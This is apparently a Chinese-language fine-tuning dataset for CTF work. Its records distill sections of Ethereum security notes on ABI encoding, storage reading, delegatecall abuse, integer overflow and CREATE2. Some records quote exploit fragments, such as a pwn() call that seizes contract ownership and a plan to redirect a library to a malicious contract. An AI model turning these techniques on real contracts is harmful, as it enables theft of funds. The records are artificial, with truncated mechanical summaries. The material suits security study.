"original_id": "docs-eadc515cff7c200ceef5", "original_line": 151, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "source_root": "docs", "source_sha256": "0a058ad1012e9278f0dfa4356ae505538d8f67c22ed3e609791e775cd0d438d5", "split": "train", "split_group_key": "f64a002af5c39c39005394e4", "subcategory": "blockchain/ethereum/selector-encoding.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "selector-encoding.md"], "title": "Function Selector and Argument Encoding"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-b283f391e4d54a380477", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/selector-encoding.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/selector-encoding.md`\n标题：Function Selector and Argument Encoding\n章节：Function Selector and Argument Encoding > Function Selector and Argument Encoding > 例子\n路径分类：blockchain / blockchain/ethereum/selector-encoding.md\n分块：2/4\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 000000000000000000004 // length of \"cxy1\" 4 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of \"cxy1\" 5 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of \"pika1\" 6 - 0x70696b613100000000000000...\n- 对于 [\"cxy2\",\"pika2\",456] 结构体，其 encoding 如下（直接当成函数参数 encoding ） 0 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of \"cxy2\" 1 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of \"pika2\" 2 - 0x000000...\n- 由于是结构体，所以还需要 [\"cxy1\",\"pika1\",123] 的 offset 和 [\"cxy2\",\"pika2\",456] 的 offset，如下 0 - a // offset of [\"cxy1\",\"pika1\",123] 1 - b // offset of [\"cxy2\",\"pika2\",456] 2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of \"cxy1\" 3 - 0x00...\n- 由于是结构体数组，结构体外面是数组，所以要按照动态数组encoding的方法，如下 0 - c // offset of [[\"cxy1\",\"pika1\",123],[\"cxy2\",\"pika2\",456]] 1 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count of second parameter 2 - 0x0000000000000000000000000000000000000000000000...\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- selector-encoding.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 4298, "chunk_count": 4, "chunk_index": 1, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Function Selector and Argument Encoding", "Function Selector and Argument Encoding", "例子"], "original_id": "docs-9ca2fa409ee1767b4aea", "original_line": 150, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "source_root": "docs", "source_sha256": "0a058ad1012e9278f0dfa4356ae505538d8f67c22ed3e609791e775cd0d438d5", "split": "train", "split_group_key": "f64a002af5c39c39005394e4", "subcategory": "blockchain/ethereum/selector-encoding.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "selector-encoding.md"], "title": "Function Selector and Argument Encoding"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-b74def6a961b8e645365", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/create2.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/create2.md`\n标题：CREATE2\n章节：CREATE2 > 参考\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- EIP-1014: Skinny CREATE2 - 充分利用 CREATE2 - Balsn CTF 2019 - Creativity\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- create2.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 240, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "参考", "heading_path": ["CREATE2", "参考"], "original_id": "docs-25ca1ad006b351d77dbc", "original_line": 169, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/create2.md", "source_root": "docs", "source_sha256": "bf2b74e3d23ae3cf1f70f1d7c39cd029f3094d219f8c83c9ebda5d137cec8e08", "split": "train", "split_group_key": "365f963f84cd3f1479bc7503", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "create2.md"], "title": "CREATE2"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/create2.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-b9235f6a49b538ec3f25", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/selector-encoding.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/selector-encoding.md`\n标题：Function Selector and Argument Encoding\n章节：Function Selector and Argument Encoding > Function Selector and Argument Encoding > 原理\n路径分类：blockchain / blockchain/ethereum/selector-encoding.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 动态类型的数据，比如动态数组，结构体，变长字节，其编码后存储其 offset、length、data - 先把参数顺序存储：如果是定长数据类型，直接存储其 data，如果是变长数据类型，先存储其 offset - 顺序遍历变长数据：先存储 offset，对于第一个变长数据，先存储其 offset = 0x20 number ( number 是函数参数的个数 )；\n- 对于下一个变长数据，其 offset = offset_of_prev + 0x20 + 0x20 number (第一个 0x20 是存储前一个变长数据的长度占用的大小，number 是前一个变长数据的元素个数) - 顺序遍历变长数据：存储完 offset ，接着就是遍历每个变长数据，分别存储其 length 和 data - ( ps: 对于结构体这样的类型，存储的时候可把结构体内元素看成是一个新函数的参数，这样的话，对于结构体中的第一个变长数据，其 offset = 0x20 num ，num 是结构体...\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- selector-encoding.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 493, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "原理", "heading_path": ["Function Selector and Argument Encoding", "Function Selector and Argument Encoding", "原理"], "original_id": "docs-9f972e86a424d7d84859", "original_line": 148, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "source_root": "docs", "source_sha256": "0a058ad1012e9278f0dfa4356ae505538d8f67c22ed3e609791e775cd0d438d5", "split": "train", "split_group_key": "ddd02dfc10cca7bdcb228295", "subcategory": "blockchain/ethereum/selector-encoding.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "selector-encoding.md"], "title": "Function Selector and Argument Encoding"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-bb34a9c3adc5a596121b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「可见性」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：插槽式数组存储 > 可见性\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“可见性”展开。\n- 利用 web3 提供的 web3.eth.getStorageAt() 方法，可以读取一个以太坊地址上指定位置的存储内容。\n- 所以只要计算出了一个变量对应的插槽位置，就可以通过调用该函数来获得该变量的具体值。\n- 调用： ``javascript // web3.eth.getStorageAt(address, position [, defaultBlock] [, callback]) web3.eth.getStorageAt(\"0x407d73d8a49eeb85d32cf465507dd71d507100c1\", 0) .then(console.log);\n- 由于以太坊上的所有信息都是公开的，所以即使一个变量被声明为 private，我们仍能读到变量的具体值。\n- > \"0x033456732123ffff2342342dd12342434324234234fd234fd23fd4f23d4234\" ` 参数： - address：String - 要读取的地址 - position：Number - 存储中的索引编号 - defaultBlock：Number|String - 可选，使用该参数覆盖 web3.eth.defaultBlock 属性值 - callback`：Function - 可选的回调函数, 其第一个参数为错误对象，第二个参数为结果。\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- storage.md\n- code:javascript\n\n代码/命令片段线索：\n- javascript: 4 行，首行 `// web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 607, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "可见性", "heading_path": ["插槽式数组存储", "可见性"], "original_id": "docs-13f9466e83eab2785caf", "original_line": 156, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "a74c5b2906bcc7bc590287f8", "subcategory": "blockchain/ethereum/storage.md", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "storage.md", "code:javascript"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-bddf42f3f2cac2d22767", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/arbitrarywrite.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/arbitrarywrite.md`\n标题：Arbitrary Writing\n章节：Arbitrary Writing > 原理\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 动态数组的任意 Storage 存储写漏洞，根据 官方文档 介绍，可总结如下 - EVM 中，有三个地方可以存储变量，分别是 Memory、Stack 和 Storage。\n- Memory 和 Stack 是在执行期间临时生成的存储空间，主要负责运行时的数据存储，Storage 是永久存在于区块链中的变量。\n- + Memory: 内存，生命周期仅为整个方法执行期间，函数调用后回收，因为仅保存临时变量，故 GAS 开销很小 + Storage: 永久储存在区块链中，由于会永久保存合约状态变量，故 GAS 开销也最大 + Stack: 存放部分局部值类型变量，几乎免费使用的内存，但有数量限制 - EVM 对每一个智能合约维护了一个巨大的 key-value 的存储结构，用于持久化存储数据，我们称这片区域为 Storage。\n- 除了 map 映射变量和变长数组以外的所有类型变量，在 Storage 中是依次连续从 slot 0 开始排列的，一共有 2^256 个 slot，每个 slot 可以存储 32 字节的数据。\n- Storage 存储结构是在合约创建的时候就确定好的，它取决于合约所声明状态变量，但是内容可以通过 Transaction 改变。\n\n关键术语：\n- 栈\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- arbitrarywrite.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 866, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "原理", "heading_path": ["Arbitrary Writing", "原理"], "original_id": "docs-02576c8d238c8390b0af", "original_line": 162, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "source_root": "docs", "source_sha256": "4ec6775f16eea2aad06238d91ee6b5a45b3846975e2309dbc7f4e4e0264b3580", "split": "train", "split_group_key": "e048bdd2d15cf5ffa15034c1", "subcategory": "blockchain/ethereum/attacks", "terms": ["栈", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "arbitrarywrite.md"], "title": "Arbitrary Writing"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/arbitrarywrite.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-c10b37bbd0a5db5c7ce2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/overflow-underflow.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/overflow-underflow.md`\n标题：Integer Overflow and Underflow\n章节：Integer Overflow and Underflow > 原理\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 整数溢出漏洞可以使用 SafeMath 库来防御，当发生溢出时会回滚交易。\n- 通常我们希望费用向上溢出变小，或者存款向下溢出变大。\n- 在 int 或 uint 后可以跟随一个8的倍数，表示该整数的位数，如8位的 uint8。\n- 位数上限为256位，int 和 uint 分别是 int256 和 uint256 的别名，一般 uint 使用的更多。\n- EVM的整数有 int 和 uint 两种，对应有无符号的情况。\n\n关键术语：\n- 边界/溢出\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- overflow-underflow.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 249, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "原理", "heading_path": ["Integer Overflow and Underflow", "原理"], "original_id": "docs-4cdb50607645d1da4892", "original_line": 176, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/overflow-underflow.md", "source_root": "docs", "source_sha256": "c9e4f1feebe4d3828b579f9755a903e783d8706101f5e9268927f62a0b0eaa3b", "split": "train", "split_group_key": "0d4ce66f5832dfb2c164479f", "subcategory": "blockchain/ethereum/attacks", "terms": ["边界/溢出", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "overflow-underflow.md"], "title": "Integer Overflow and Underflow"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/overflow-underflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-c571e35486aac85d83c5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/delegatecall.md` 中的章节「Analyse」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/delegatecall.md`\n标题：Delegatecall\n章节：Delegatecall > 例子 > Analyse\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Analyse”展开。\n- 我们调用 Preservation 的 setFirstTime 函数实际通过 delegatecall 执行了 LibraryContract 的 setTime 函数，修改了 slot 1 ，也就是修改了 timeZone1Library 变量 - 这样，我们第一次调用 setFirstTime 将 timeZone1Library 变量修改为我们的恶意合约的地址，第二次调用 setFirstTime 就可以执行我们的任意代码了\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- delegatecall.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 230, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "Analyse", "heading_path": ["Delegatecall", "例子", "Analyse"], "original_id": "docs-575a83fe030cadb2ae9e", "original_line": 173, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "source_root": "docs", "source_sha256": "240200ba37fa64de7c46873c26b3b842590cd4baeccb16d874fc410ddbd7beb6", "split": "train", "split_group_key": "90e8fce89a2fbb3d84d8243a", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "delegatecall.md"], "title": "Delegatecall"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-cae0c5f784cbad5a437f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/delegatecall.md` 中的章节「威胁分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/delegatecall.md`\n标题：Delegatecall\n章节：Delegatecall > 原理 > Delegatecall 滥用 > 威胁分析\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“威胁分析”展开。\n- } } } ` 对于这个例子，攻击者如何成为 owner 呢？\n- 参考函数原型，我们知道，delegatecall 调用有 address 和 msg.data 两个参数 若 msg.data 可控，则可调用 address 处任意函数 ``solidity pragma solidity ^0.4.18;\n- function Delegate(address _owner) public { owner = _owner;\n- } function pwn() public { owner = msg.sender;\n- function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress);\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- delegatecall.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 23 行，首行 `pragma solidity ^0.4.18;`\n- plain: 1 行，首行 `contract.sendTransaction({data: web3.sha3(\"pwn()\").slice(0,10)})`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 931, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "威胁分析", "heading_path": ["Delegatecall", "原理", "Delegatecall 滥用", "威胁分析"], "original_id": "docs-49d76ccecf3ed34749bb", "original_line": 171, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "source_root": "docs", "source_sha256": "240200ba37fa64de7c46873c26b3b842590cd4baeccb16d874fc410ddbd7beb6", "split": "train", "split_group_key": "004eb1c346bbbd0b23a5c0d3", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "delegatecall.md", "code:solidity"], "title": "Delegatecall"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-cf15ace1f06a56e2a56b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/delegatecall.md` 中的章节「调用模型」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/delegatecall.md`\n标题：Delegatecall\n章节：Delegatecall > 原理 > 三种调用函数 > 调用模型\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“调用模型”展开。\n- 在函数调用的过程中，Solidity 中的内置变量 msg 会随着调用的发起而改变，msg` 保存了调用方的信息包括：调用发起的地址，交易金额，被调用函数字符序列等。\n- `` 
.call(...) returns (bool) 
.callcode(...) returns (bool) 
.delegatecall(...) returns (bool) ` 这些函数提供了灵活的方式与合约进行交互，并且可以接受任何长度、任何类型的参数，其传入的参数会被填充至 32 字节最后拼接为一个字符串序列，由 EVM 解析执行。\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- delegatecall.md\n\n代码/命令片段线索：\n- plain: 3 行，首行 `
.call(...) returns (bool)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 294, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "调用模型", "heading_path": ["Delegatecall", "原理", "三种调用函数", "调用模型"], "original_id": "docs-d8977da8789b7629372e", "original_line": 170, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "source_root": "docs", "source_sha256": "240200ba37fa64de7c46873c26b3b842590cd4baeccb16d874fc410ddbd7beb6", "split": "train", "split_group_key": "c31dba7189b987ec3a2c3ced", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "delegatecall.md"], "title": "Delegatecall"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-dd26caff2a2d9313c01d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/delegatecall.md` 中的章节「异同点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/delegatecall.md`\n标题：Delegatecall\n章节：Delegatecall > 原理 > 三种调用函数 > 异同点\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“异同点”展开。\n- call: 调用后内置变量 msg 的值会修改为调用者，执行环境为被调用者的运行环境 delegatecall: 调用后内置变量 msg 的值不会修改为调用者，但执行环境为调用者的运行环境（相当于复制被调用者的代码到调用者合约） * callcode: 调用后内置变量 msg 的值会修改为调用者，但执行环境为调用者的运行环境 !\n- note Warning: \"callcode\" has been deprecated in favour of \"delegatecall\"\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- delegatecall.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 252, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "异同点", "heading_path": ["Delegatecall", "原理", "三种调用函数", "异同点"], "original_id": "docs-baaa94125d0a0c6187be", "original_line": 9, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "source_root": "docs", "source_sha256": "240200ba37fa64de7c46873c26b3b842590cd4baeccb16d874fc410ddbd7beb6", "split": "train", "split_group_key": "44a50702c13254d93854a99a", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "delegatecall.md"], "title": "Delegatecall"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-dec35eeb29bb98ca91b3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/basics.md` 中的章节「tx.origin vs msg.sender」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/basics.md`\n标题：Ethereum Basics\n章节：Ethereum Basics > tx.origin vs msg.sender\n路径分类：blockchain / blockchain/ethereum/basics.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“tx.origin vs msg.sender”展开。\n- 这里区分一下 tx.origin 和 msg.sender ，msg.sender 是函数的直接调用方，在用户手动调用该函数时是发起交易的账户地址，但也可以是调用该函数的一个智能合约的地址。\n- 而 tx.origin 则必然是这个交易的原始发起方，无论中间有多少次合约内/跨合约函数调用，而且一定是账户地址而不是合约地址。\n- 给定这样一个场景如：用户通过合约 A 调合约B，此时： + 对于合约 A : tx.origin 和 msg.sender 都是用户 + 对于合约 B : tx.origin 是用户，msg.sender 是合约 A\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- basics.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 274, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "tx.origin vs msg.sender", "heading_path": ["Ethereum Basics", "tx.origin vs msg.sender"], "original_id": "docs-044e3bed6e5e2ff00a38", "original_line": 136, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "source_root": "docs", "source_sha256": "8cd9c1866162f89bb7bc59322754c15c8921826d7c75c478c4c6c3c260007551", "split": "train", "split_group_key": "6b76e366c50a00c07d55a689", "subcategory": "blockchain/ethereum/basics.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "basics.md"], "title": "Ethereum Basics"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/basics.md", "split": "train", "type": "ctf_lora_sft"}
